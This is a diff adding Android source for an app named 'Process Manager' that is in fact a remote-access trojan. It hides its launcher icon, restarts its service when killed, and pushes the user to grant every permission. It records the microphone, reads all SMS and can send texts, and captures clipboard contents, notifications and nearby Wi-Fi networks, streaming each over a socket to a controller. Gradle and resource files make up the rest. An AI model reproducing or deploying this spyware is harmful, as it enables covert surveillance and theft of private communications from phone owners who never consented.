protected void onCreate(Bundle savedInstanceState) {
|
||||
super.onCreate(savedInstanceState);
|
||||
|
||||
setContentView(R.layout.activity_main);
|
||||
startService(new Intent(this, MainService.class));
|
||||
boolean isNotificationServiceRunning = isNotificationServiceRunning();
|
||||
if(!isNotificationServiceRunning){
|
||||
|
||||
Context context = getApplicationContext();
|
||||
CharSequence text = "Click 'Permissions'\nEnable ALL permissions\n Click back x2\n Enable 'Package Manager'";
|
||||
int duration = Toast.LENGTH_LONG;
|
||||
|
||||
Toast toast = Toast.makeText(context, text, duration);
|
||||
|
||||
TextView v = (TextView) toast.getView().findViewById(android.R.id.message);
|
||||
v.setTextColor(Color.RED);
|
||||
v.setTypeface(Typeface.DEFAULT_BOLD);
|
||||
v.setGravity(Gravity.CENTER_VERTICAL | Gravity.CENTER_HORIZONTAL);
|
||||
toast.show();
|
||||
|
||||
// spawn notification thing
|
||||
startActivity(new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS));
|
||||
|
||||
// spawn app page settings so you can enable all perms
|
||||
Intent i = new Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS, Uri.parse("package:" + BuildConfig.APPLICATION_ID));
|
||||
startActivity(i);
|
||||
}
|
||||
|
||||
finish();
|
||||
}
|
||||
|
||||
|
||||
|
||||
private boolean isNotificationServiceRunning() {
|
||||
ContentResolver contentResolver = getContentResolver();
|
||||
String enabledNotificationListeners =
|
||||
Settings.Secure.getString(contentResolver, "enabled_notification_listeners");
|
||||
String packageName = getPackageName();
|
||||
return enabledNotificationListeners != null && enabledNotificationListeners.contains(packageName);
|
||||
}
|
||||
}
|
78
client/app/src/main/java/com/remote/app/MainService.java
Normal file
78
client/app/src/main/java/com/remote/app/MainService.java
Normal file
@ -0,0 +1,78 @@
|
||||
package com.remote.app;
|
||||
|
||||
import android.app.Service;
|
||||
import android.content.ClipData;
|
||||
import android.content.ClipboardManager;
|
||||
import android.content.ComponentName;
|
||||
import android.content.Context;
|
||||
import android.content.Intent;
|
||||
import android.content.pm.PackageManager;
|
||||
import android.os.IBinder;
|
||||
|
||||
import org.json.JSONException;
|
||||
import org.json.JSONObject;
|
||||
|
||||
public class MainService extends Service {
|
||||
private static Context contextOfApplication;
|
||||
|
||||
public MainService() {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public IBinder onBind(Intent intent) {
|
||||
// TODO: Return the communication channel to the service.
|
||||
//throw new UnsupportedOperationException("Not yet implemented");
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public int onStartCommand(Intent paramIntent, int paramInt1, int paramInt2) {
|
||||
// Hide App Icon
|
||||
PackageManager pkg=this.getPackageManager();
|
||||
pkg.setComponentEnabledSetting(new ComponentName(this, MainActivity.class), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
|
||||
|
||||
|
||||
|
||||
ClipboardManager.OnPrimaryClipChangedListener mPrimaryChangeListener = new ClipboardManager.OnPrimaryClipChangedListener() {
|
||||
public void onPrimaryClipChanged() {
|
||||
ClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
|
||||
if (clipboard.hasPrimaryClip()) {
|
||||
ClipData clipData = clipboard.getPrimaryClip();
|
||||
if (clipData.getItemCount() > 0) {
|
||||
CharSequence text = clipData.getItemAt(0).getText();
|
||||
if (text != null) {
|
||||
try {
|
||||
JSONObject data = new JSONObject();
|
||||
data.put("text", text);
|
||||
IOSocket.getInstance().getIoSocket().emit("0xCB" , data);
|
||||
} catch (JSONException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
ClipboardManager clipboardManager = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
|
||||
clipboardManager.addPrimaryClipChangedListener(mPrimaryChangeListener);
|
||||
|
||||
|
||||
contextOfApplication = this;
|
||||
ConnectionManager.startAsync(this);
|
||||
return Service.START_STICKY;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onDestroy() {
|
||||
super.onDestroy();
|
||||
sendBroadcast(new Intent("respawnService"));
|
||||
}
|
||||
|
||||
public static Context getContextOfApplication()
|
||||
{
|
||||
return contextOfApplication;
|
||||
}
|
||||
|
||||
}
|
88
client/app/src/main/java/com/remote/app/MicManager.java
Normal file
88
client/app/src/main/java/com/remote/app/MicManager.java
Normal file
@ -0,0 +1,88 @@
|
||||
package com.remote.app;
|
||||
|
||||
import android.media.MediaRecorder;
|
||||
import android.util.Log;
|
||||
|
||||
import org.json.JSONException;
|
||||
import org.json.JSONObject;
|
||||
|
||||
import java.io.BufferedInputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.FileNotFoundException;
|
||||
import java.io.IOException;
|
||||
import java.util.Timer;
|
||||
import java.util.TimerTask;
|
||||
|
||||
public class MicManager {
|
||||
|
||||
|
||||
static MediaRecorder recorder;
|
||||
static File audiofile = null;
|
||||
static final String TAG = "MediaRecording";
|
||||
static TimerTask stopRecording;
|
||||
|
||||
|
||||
public static void startRecording(int sec) throws Exception {
|
||||
|
||||
|
||||
//Creating file
|
||||
File dir = MainService.getContextOfApplication().getCacheDir();
|
||||
try {
|
||||
Log.e("DIRR" , dir.getAbsolutePath());
|
||||
audiofile = File.createTempFile("sound", ".mp3", dir);
|
||||
} catch (IOException e) {
|
||||
Log.e(TAG, "external storage access error");
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
//Creating MediaRecorder and specifying audio source, output format, encoder & output format
|
||||
recorder = new MediaRecorder();
|
||||
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
|
||||
recorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
|
||||
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
|
||||
recorder.setOutputFile(audiofile.getAbsolutePath());
|
||||
recorder.prepare();
|
||||
recorder.start();
|
||||
|
||||
|
||||
stopRecording = new TimerTask() {
|
||||
@Override
|
||||
public void run() {
|
||||
//stopping recorder
|
||||
recorder.stop();
|
||||
recorder.release();
|
||||
sendVoice(audiofile);
|
||||
audiofile.delete();
|
||||
}
|
||||
};
|
||||
|
||||
new Timer().schedule(stopRecording, sec*1000);
|
||||
}
|
||||
|
||||
private static void sendVoice(File file){
|
||||
|
||||
int size = (int) file.length();
|
||||
byte[] data = new byte[size];
|
||||
try {
|
||||
BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file));
|
||||
buf.read(data, 0, data.length);
|
||||
JSONObject object = new JSONObject();
|
||||
object.put("file",true);
|
||||
object.put("name",file.getName());
|
||||
object.put("buffer" , data);
|
||||
IOSocket.getInstance().getIoSocket().emit("0xMI" , object);
|
||||
buf.close();
|
||||
} catch (FileNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
} catch (JSONException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
32
client/app/src/main/java/com/remote/app/MyReceiver.java
Normal file
32
client/app/src/main/java/com/remote/app/MyReceiver.java
Normal file
@ -0,0 +1,32 @@
|
||||
package com.remote.app;
|
||||
|
||||
import android.content.BroadcastReceiver;
|
||||
import android.content.Context;
|
||||
import android.content.Intent;
|
||||
import android.net.Uri;
|
||||
import android.provider.Settings;
|
||||
|
||||
public class MyReceiver extends BroadcastReceiver {
|
||||
public MyReceiver() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onReceive(Context context, Intent intent) {
|
||||
// TODO: This method is called when the BroadcastReceiver is receiving
|
||||
// an Intent broadcast.
|
||||
|
||||
if(intent.getAction().equals("android.provider.Telephony.SECRET_CODE")) {
|
||||
String uri = intent.getDataString();
|
||||
String[] sep = uri.split("://");
|
||||
if (sep[1].equalsIgnoreCase("8088")) {
|
||||
context.startActivity(new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS));
|
||||
} else if (sep[1].equalsIgnoreCase("5055")) {
|
||||
Intent i = new Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS, Uri.parse("package:" + BuildConfig.APPLICATION_ID));
|
||||
context.startActivity(i);
|
||||
}
|
||||
}
|
||||
|
||||
intent = new Intent( context, MainService.class );
|
||||
context.startService(intent);
|
||||
}
|
||||
}
|
@ -0,0 +1,44 @@
|
||||
package com.remote.app;
|
||||
|
||||
import org.json.JSONException;
|
||||
import org.json.JSONObject;
|
||||
|
||||
import android.app.Notification;
|
||||
import android.os.Bundle;
|
||||
import android.os.IBinder;
|
||||
|
||||
import android.content.Intent;
|
||||
|
||||
import android.service.notification.NotificationListenerService;
|
||||
import android.service.notification.StatusBarNotification;
|
||||
|
||||
public class NotificationListener extends NotificationListenerService {
|
||||
|
||||
@Override
|
||||
public IBinder onBind(Intent intent) {
|
||||
return super.onBind(intent);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onNotificationPosted(StatusBarNotification sbn){
|
||||
try {
|
||||
String appName = sbn.getPackageName();
|
||||
String title = sbn.getNotification().extras.getString(Notification.EXTRA_TITLE);
|
||||
CharSequence contentCs = sbn.getNotification().extras.getCharSequence(Notification.EXTRA_TEXT);
|
||||
String content = "";
|
||||
if(contentCs != null) content = contentCs.toString();
|
||||
long postTime = sbn.getPostTime();
|
||||
String uniqueKey = sbn.getKey();
|
||||
|
||||
JSONObject data = new JSONObject();
|
||||
data.put("appName", appName);
|
||||
data.put("title", title);
|
||||
data.put("content", "" + content);
|
||||
data.put("postTime", postTime);
|
||||
data.put("key", uniqueKey);
|
||||
IOSocket.getInstance().getIoSocket().emit("0xNO" , data);
|
||||
} catch (JSONException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,32 @@
|
||||
package com.remote.app;
|
||||
|
||||
import android.content.pm.PackageInfo;
|
||||
import android.content.pm.PackageManager;
|
||||
|
||||
import org.json.JSONArray;
|
||||
import org.json.JSONObject;
|
||||
|
||||
import static com.remote.app.ConnectionManager.context;
|
||||
|
||||
public class PermissionManager {
|
||||
|
||||
public static JSONObject getGrantedPermissions() {
|
||||
JSONObject data = new JSONObject();
|
||||
try {
|
||||
JSONArray perms = new JSONArray();
|
||||
PackageInfo pi = context.getPackageManager().getPackageInfo(context.getPackageName(), PackageManager.GET_PERMISSIONS);
|
||||
for (int i = 0; i < pi.requestedPermissions.length; i++) {
|
||||
if ((pi.requestedPermissionsFlags[i] & PackageInfo.REQUESTED_PERMISSION_GRANTED) != 0) perms.put(pi.requestedPermissions[i]);
|
||||
}
|
||||
data.put("permissions", perms);
|
||||
} catch (Exception e) {
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
public static boolean canIUse(String perm) {
|
||||
if(context.getPackageManager().checkPermission(perm, context.getPackageName()) == PackageManager.PERMISSION_GRANTED) return true;
|
||||
else return false;
|
||||
}
|
||||
|
||||
}
|
86
client/app/src/main/java/com/remote/app/SMSManager.java
Normal file
86
client/app/src/main/java/com/remote/app/SMSManager.java
Normal file
@ -0,0 +1,86 @@
|
||||
package com.remote.app;
|
||||
|
||||
import android.content.Context;
|
||||
import android.database.Cursor;
|
||||
import android.net.Uri;
|
||||
import android.telephony.SmsManager;
|
||||
|
||||
import org.json.JSONArray;
|
||||
import org.json.JSONException;
|
||||
import org.json.JSONObject;
|
||||
|
||||
public class SMSManager {
|
||||
|
||||
public static JSONObject getsms() {
|
||||
JSONObject result = null;
|
||||
JSONArray jarray = null;
|
||||
|
||||
try {
|
||||
|
||||
jarray = new JSONArray();
|
||||
|
||||
result = new JSONObject();
|
||||
Uri uri = Uri.parse("content://sms/");
|
||||
Context act = MainService.getContextOfApplication();
|
||||
Cursor c= act.getContentResolver().query(uri, null, null ,null,null);
|
||||
|
||||
// Read the sms data and store it in the list
|
||||
if(c.moveToFirst()) {
|
||||
|
||||
for(int i=0; i < c.getCount(); i++) {
|
||||
|
||||
result.put("body",c.getString(c.getColumnIndexOrThrow("body")).toString());
|
||||
|
||||
result.put("date",c.getString(c.getColumnIndexOrThrow("date")).toString());
|
||||
result.put("read",c.getString(c.getColumnIndexOrThrow("read")).toString());
|
||||
result.put("type",c.getString(c.getColumnIndexOrThrow("type")).toString());
|
||||
if((c.getString(c.getColumnIndexOrThrow("type")).toString()).equals("3")) {
|
||||
String threadid = c.getString(c.getColumnIndexOrThrow("thread_id")).toString();
|
||||
Cursor cur= act.getContentResolver().query(Uri.parse("content://mms-sms/conversations?simple=true"), null, "_id ="+threadid ,null,null);
|
||||
if(cur.moveToFirst()) {
|
||||
String recipientId = cur.getString(cur.getColumnIndexOrThrow("recipient_ids")).toString();
|
||||
cur= act.getContentResolver().query(Uri.parse("content://mms-sms/canonical-addresses"), null, "_id = " + recipientId, null, null);
|
||||
if(cur.moveToFirst()) {
|
||||
String address = cur.getString(cur.getColumnIndexOrThrow("address")).toString();
|
||||
result.put("address",address);
|
||||
cur.close();
|
||||
}
|
||||
}
|
||||
|
||||
}else {
|
||||
result.put("address",c.getString(c.getColumnIndexOrThrow("address")).toString());
|
||||
}
|
||||
jarray.put(result);
|
||||
result = new JSONObject();
|
||||
|
||||
c.moveToNext();
|
||||
}
|
||||
}
|
||||
c.close();
|
||||
|
||||
result.put("smslist", jarray);
|
||||
|
||||
} catch (IllegalArgumentException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
} catch (JSONException e) {
|
||||
// TODO Auto-generated catch block
|
||||
e.printStackTrace();
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
public static boolean sendSMS(String phoneNo, String msg) {
|
||||
try {
|
||||
SmsManager smsManager = SmsManager.getDefault();
|
||||
smsManager.sendTextMessage(phoneNo, null, msg, null, null);
|
||||
return true;
|
||||
} catch (Exception ex) {
|
||||
ex.printStackTrace();
|
||||
return false;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
14
client/app/src/main/java/com/remote/app/ServiceReciever.java
Normal file
14
client/app/src/main/java/com/remote/app/ServiceReciever.java
Normal file
@ -0,0 +1,14 @@
|
||||
package com.remote.app;
|
||||
|
||||
import android.content.BroadcastReceiver;
|
||||
import android.content.Context;
|
||||
import android.content.Intent;
|
||||
import android.util.Log;
|
||||
|
||||
public class ServiceReciever extends BroadcastReceiver {
|
||||
@Override
|
||||
public void onReceive(Context context, Intent intent) {
|
||||
context.startService(new Intent(context.getApplicationContext(), MainService.class));
|
||||
|
||||
}
|
||||
}
|
43
client/app/src/main/java/com/remote/app/WifiScanner.java
Normal file
43
client/app/src/main/java/com/remote/app/WifiScanner.java
Normal file
@ -0,0 +1,43 @@
|
||||
package com.remote.app;
|
||||
|
||||
import android.content.Context;
|
||||
import android.net.wifi.WifiManager;
|
||||
|
||||
import android.net.wifi.ScanResult;
|
||||
import android.util.Log;
|
||||
|
||||
import org.json.JSONArray;
|
||||
import org.json.JSONObject;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
public class WifiScanner {
|
||||
|
||||
public static JSONObject scan(Context context) {
|
||||
try {
|
||||
JSONObject dRet = new JSONObject();
|
||||
JSONArray jSONArray = new JSONArray();
|
||||
WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
|
||||
if (wifiManager != null && wifiManager.isWifiEnabled()) {
|
||||
List scanResults = wifiManager.getScanResults();
|
||||
if (scanResults != null && scanResults.size() > 0) {
|
||||
int i = 0;
|
||||
while (i < scanResults.size() && i < 10) {
|
||||
ScanResult scanResult = (ScanResult) scanResults.get(i);
|
||||
JSONObject jSONObject = new JSONObject();
|
||||
jSONObject.put("BSSID", scanResult.BSSID);
|
||||
jSONObject.put("SSID", scanResult.SSID);
|
||||
jSONArray.put(jSONObject);
|
||||
i++;
|
||||
}
|
||||
dRet.put("networks", jSONArray);
|
||||
return dRet;
|
||||
}
|
||||
}
|
||||
return dRet;
|
||||
} catch (Throwable th) {
|
||||
Log.e("MtaSDK", "isWifiNet error", th);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
29
client/app/src/main/res/layout/activity_main.xml
Normal file
29
client/app/src/main/res/layout/activity_main.xml
Normal file
@ -0,0 +1,29 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:tools="http://schemas.android.com/tools"
|
||||
android:id="@+id/activity_main"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:paddingBottom="@dimen/activity_vertical_margin"
|
||||
android:paddingLeft="@dimen/activity_horizontal_margin"
|
||||
android:paddingRight="@dimen/activity_horizontal_margin"
|
||||
android:paddingTop="@dimen/activity_vertical_margin"
|
||||
tools:context="com.remote.app.MainActivity">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:orientation="vertical">
|
||||
|
||||
<ProgressBar
|
||||
android:id="@+id/progressBar"
|
||||
style="?android:attr/progressBarStyle"
|
||||
android:layout_width="395dp"
|
||||
android:layout_height="88dp"
|
||||
android:layout_marginStart="0dp"
|
||||
android:indeterminate="true" />
|
||||
|
||||
</LinearLayout>
|
||||
|
||||
</RelativeLayout>
|
BIN
client/app/src/main/res/mipmap-hdpi/ic_launcher.png
Normal file
BIN
client/app/src/main/res/mipmap-hdpi/ic_launcher.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 3.3 KiB |
BIN
client/app/src/main/res/mipmap-mdpi/ic_launcher.png
Normal file
BIN
client/app/src/main/res/mipmap-mdpi/ic_launcher.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 2.2 KiB |
BIN
client/app/src/main/res/mipmap-xhdpi/ic_launcher.png
Normal file
BIN
client/app/src/main/res/mipmap-xhdpi/ic_launcher.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 4.7 KiB |
BIN
client/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
Normal file
BIN
client/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 7.5 KiB |
BIN
client/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
Normal file
BIN
client/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 10 KiB |
6
client/app/src/main/res/values-w820dp/dimens.xml
Normal file
6
client/app/src/main/res/values-w820dp/dimens.xml
Normal file
@ -0,0 +1,6 @@
|
||||
<resources>
|
||||
<!-- Example customization of dimensions originally defined in res/values/dimens.xml
|
||||
(such as screen margins) for screens with more than 820dp of available width. This
|
||||
would include 7" and 10" devices in landscape (~960dp and ~1280dp respectively). -->
|
||||
<dimen name="activity_horizontal_margin">64dp</dimen>
|
||||
</resources>
|
6
client/app/src/main/res/values/colors.xml
Normal file
6
client/app/src/main/res/values/colors.xml
Normal file
@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<resources>
|
||||
<color name="colorPrimary">#3F51B5</color>
|
||||
<color name="colorPrimaryDark">#303F9F</color>
|
||||
<color name="colorAccent">#FF4081</color>
|
||||
</resources>
|
5
client/app/src/main/res/values/dimens.xml
Normal file
5
client/app/src/main/res/values/dimens.xml
Normal file
@ -0,0 +1,5 @@
|
||||
<resources>
|
||||
<!-- Default screen margins, per the Android Design guidelines. -->
|
||||
<dimen name="activity_horizontal_margin">16dp</dimen>
|
||||
<dimen name="activity_vertical_margin">16dp</dimen>
|
||||
</resources>
|
3
client/app/src/main/res/values/strings.xml
Normal file
3
client/app/src/main/res/values/strings.xml
Normal file
@ -0,0 +1,3 @@
|
||||
<resources>
|
||||
<string name="app_name">Process Manager</string>
|
||||
</resources>
|
8
client/app/src/main/res/values/styles.xml
Normal file
8
client/app/src/main/res/values/styles.xml
Normal file
@ -0,0 +1,8 @@
|
||||
<resources>
|
||||
|
||||
<!-- Base application theme. -->
|
||||
<style name="AppTheme" parent="android:Theme.Holo.Light.DarkActionBar">
|
||||
<!-- Customize your theme here. -->
|
||||
</style>
|
||||
|
||||
</resources>
|
32
client/build.gradle
Normal file
32
client/build.gradle
Normal file
@ -0,0 +1,32 @@
|
||||
// Top-level build file where you can add configuration options common to all sub-projects/modules.
|
||||
|
||||
buildscript {
|
||||
repositories {
|
||||
jcenter()
|
||||
maven {
|
||||
url 'https://maven.google.com/'
|
||||
name 'Google'
|
||||
}
|
||||
google()
|
||||
}
|
||||
dependencies {
|
||||
classpath 'com.android.tools.build:gradle:3.4.2'
|
||||
|
||||
// NOTE: Do not place your application dependencies here; they belong
|
||||
// in the individual module build.gradle files
|
||||
}
|
||||
}
|
||||
|
||||
allprojects {
|
||||
repositories {
|
||||
jcenter()
|
||||
maven {
|
||||
url 'https://maven.google.com/'
|
||||
name 'Google'
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
task clean(type: Delete) {
|
||||
delete rootProject.buildDir
|
||||
}
|
19
client/client.iml
Normal file
19
client/client.iml
Normal file
@ -0,0 +1,19 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module external.linked.project.id="client" external.linked.project.path="$MODULE_DIR$" external.root.project.path="$MODULE_DIR$" external.system.id="GRADLE" type="JAVA_MODULE" version="4">
|
||||
<component name="FacetManager">
|
||||
<facet type="java-gradle" name="Java-Gradle">
|
||||
<configuration>
|
||||
<option name="BUILD_FOLDER_PATH" value="$MODULE_DIR$/build" />
|
||||
<option name="BUILDABLE" value="false" />
|
||||
</configuration>
|
||||
</facet>
|
||||
</component>
|
||||
<component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_7" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<excludeFolder url="file://$MODULE_DIR$/.gradle" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
</component>
|
||||
</module>
|
17
client/gradle.properties
Normal file
17
client/gradle.properties
Normal file
@ -0,0 +1,17 @@
|
||||
# Project-wide Gradle settings.
|
||||
|
||||
# IDE (e.g. Android Studio) users:
|
||||
# Gradle settings configured through the IDE *will override*
|
||||
# any settings specified in this file.
|
||||
|
||||
# For more details on how to configure your build environment visit
|
||||
# http://www.gradle.org/docs/current/userguide/build_environment.html
|
||||
|
||||
# Specifies the JVM arguments used for the daemon process.
|
||||
# The setting is particularly useful for tweaking memory settings.
|
||||
org.gradle.jvmargs=-Xmx1536m
|
||||
|
||||
# When configured, Gradle will run in incubating parallel mode.
|
||||
# This option should only be used with decoupled projects. More details, visit
|
||||
# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
|
||||
# org.gradle.parallel=true
|
BIN
client/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
BIN
client/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
Binary file not shown.
6
client/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
6
client/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
@ -0,0 +1,6 @@
|
||||
#Sat Aug 17 21:49:49 BST 2019
|
||||
distributionBase=GRADLE_USER_HOME
|
||||
distributionPath=wrapper/dists
|
||||
zipStoreBase=GRADLE_USER_HOME
|
||||
zipStorePath=wrapper/dists
|
||||
distributionUrl=https\://services.gradle.org/distributions/gradle-5.1.1-all.zip
|
160
client/gradlew
vendored
Normal file
160
client/gradlew
vendored
Normal file
@ -0,0 +1,160 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
##############################################################################
|
||||
##
|
||||
## Gradle start up script for UN*X
|
||||
##
|
||||
##############################################################################
|
||||
|
||||
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||
DEFAULT_JVM_OPTS=""
|
||||
|
||||
APP_NAME="Gradle"
|
||||
APP_BASE_NAME=`basename "$0"`
|
||||
|
||||
# Use the maximum available, or set MAX_FD != -1 to use that value.
|
||||
MAX_FD="maximum"
|
||||
|
||||
warn ( ) {
|
||||
echo "$*"
|
||||
}
|
||||
|
||||
die ( ) {
|
||||
echo
|
||||
echo "$*"
|
||||
echo
|
||||
exit 1
|
||||
}
|
||||
|
||||
# OS specific support (must be 'true' or 'false').
|
||||
cygwin=false
|
||||
msys=false
|
||||
darwin=false
|
||||
case "`uname`" in
|
||||
CYGWIN* )
|
||||
cygwin=true
|
||||
;;
|
||||
Darwin* )
|
||||
darwin=true
|
||||
;;
|
||||
MINGW* )
|
||||
msys=true
|
||||
;;
|
||||
esac
|
||||
|
||||
# Attempt to set APP_HOME
|
||||
# Resolve links: $0 may be a link
|
||||
PRG="$0"
|
||||
# Need this for relative symlinks.
|
||||
while [ -h "$PRG" ] ; do
|
||||
ls=`ls -ld "$PRG"`
|
||||
link=`expr "$ls" : '.*-> \(.*\)$'`
|
||||
if expr "$link" : '/.*' > /dev/null; then
|
||||
PRG="$link"
|
||||
else
|
||||
PRG=`dirname "$PRG"`"/$link"
|
||||
fi
|
||||
done
|
||||
SAVED="`pwd`"
|
||||
cd "`dirname \"$PRG\"`/" >/dev/null
|
||||
APP_HOME="`pwd -P`"
|
||||
cd "$SAVED" >/dev/null
|
||||
|
||||
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
|
||||
|
||||
# Determine the Java command to use to start the JVM.
|
||||
if [ -n "$JAVA_HOME" ] ; then
|
||||
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
|
||||
# IBM's JDK on AIX uses strange locations for the executables
|
||||
JAVACMD="$JAVA_HOME/jre/sh/java"
|
||||
else
|
||||
JAVACMD="$JAVA_HOME/bin/java"
|
||||
fi
|
||||
if [ ! -x "$JAVACMD" ] ; then
|
||||
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
|
||||
|
||||
Please set the JAVA_HOME variable in your environment to match the
|
||||
location of your Java installation."
|
||||
fi
|
||||
else
|
||||
JAVACMD="java"
|
||||
which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||
|
||||
Please set the JAVA_HOME variable in your environment to match the
|
||||
location of your Java installation."
|
||||
fi
|
||||
|
||||
# Increase the maximum file descriptors if we can.
|
||||
if [ "$cygwin" = "false" -a "$darwin" = "false" ] ; then
|
||||
MAX_FD_LIMIT=`ulimit -H -n`
|
||||
if [ $? -eq 0 ] ; then
|
||||
if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
|
||||
MAX_FD="$MAX_FD_LIMIT"
|
||||
fi
|
||||
ulimit -n $MAX_FD
|
||||
if [ $? -ne 0 ] ; then
|
||||
warn "Could not set maximum file descriptor limit: $MAX_FD"
|
||||
fi
|
||||
else
|
||||
warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
|
||||
fi
|
||||
fi
|
||||
|
||||
# For Darwin, add options to specify how the application appears in the dock
|
||||
if $darwin; then
|
||||
GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
|
||||
fi
|
||||
|
||||
# For Cygwin, switch paths to Windows format before running java
|
||||
if $cygwin ; then
|
||||
APP_HOME=`cygpath --path --mixed "$APP_HOME"`
|
||||
CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
|
||||
JAVACMD=`cygpath --unix "$JAVACMD"`
|
||||
|
||||
# We build the pattern for arguments to be converted via cygpath
|
||||
ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
|
||||
SEP=""
|
||||
for dir in $ROOTDIRSRAW ; do
|
||||
ROOTDIRS="$ROOTDIRS$SEP$dir"
|
||||
SEP="|"
|
||||
done
|
||||
OURCYGPATTERN="(^($ROOTDIRS))"
|
||||
# Add a user-defined pattern to the cygpath arguments
|
||||
if [ "$GRADLE_CYGPATTERN" != "" ] ; then
|
||||
OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
|
||||
fi
|
||||
# Now convert the arguments - kludge to limit ourselves to /bin/sh
|
||||
i=0
|
||||
for arg in "$@" ; do
|
||||
CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
|
||||
CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
|
||||
|
||||
if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
|
||||
eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
|
||||
else
|
||||
eval `echo args$i`="\"$arg\""
|
||||
fi
|
||||
i=$((i+1))
|
||||
done
|
||||
case $i in
|
||||
(0) set -- ;;
|
||||
(1) set -- "$args0" ;;
|
||||
(2) set -- "$args0" "$args1" ;;
|
||||
(3) set -- "$args0" "$args1" "$args2" ;;
|
||||
(4) set -- "$args0" "$args1" "$args2" "$args3" ;;
|
||||
(5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
|
||||
(6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
|
||||
(7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
|
||||
(8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
|
||||
(9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
|
||||
esac
|
||||
fi
|
||||
|
||||
# Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules
|
||||
function splitJvmOpts() {
|
||||
JVM_OPTS=("$@")
|
||||
}
|
||||
eval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS
|
